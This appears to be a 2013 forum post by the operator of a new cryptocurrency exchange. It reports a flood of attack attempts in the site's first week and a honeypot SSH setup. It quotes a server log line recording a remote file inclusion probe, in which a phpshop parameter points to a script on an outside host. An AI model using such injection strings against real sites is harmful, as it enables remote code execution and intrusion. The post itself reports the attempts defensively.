The first week DialCoin opened we were getting floods of hacker attempts. We had faux gateway logins (SSH) set up to waste their time (all logins were key based, not u/p logins).

It's incredible.  Just one week after launching we are discovering attack attempts at Crypto Street!  Perhaps it's from today's press mention from Silicon Angle?  I can't believe it's happening so quickly, even before opening up to any real trading.

We discovered thousands of attempts on https://www.crypto.st like this:
Code:
10.224.157.91 - - [09/May/2013:04:18:42 +0000] "GET /phpshop/index.php?base_dir=http://www.uniscan.com.br/c.txt? HTTP/1.1" 502 172 "-" "-" "176.31.99.77, 141.101.99.115"

It's good our security manager uncovered and solved this early so that when we do open up trading, we'll be ready.  This is a good time to announce we're looking to recruit additional web/server security help. PM me.
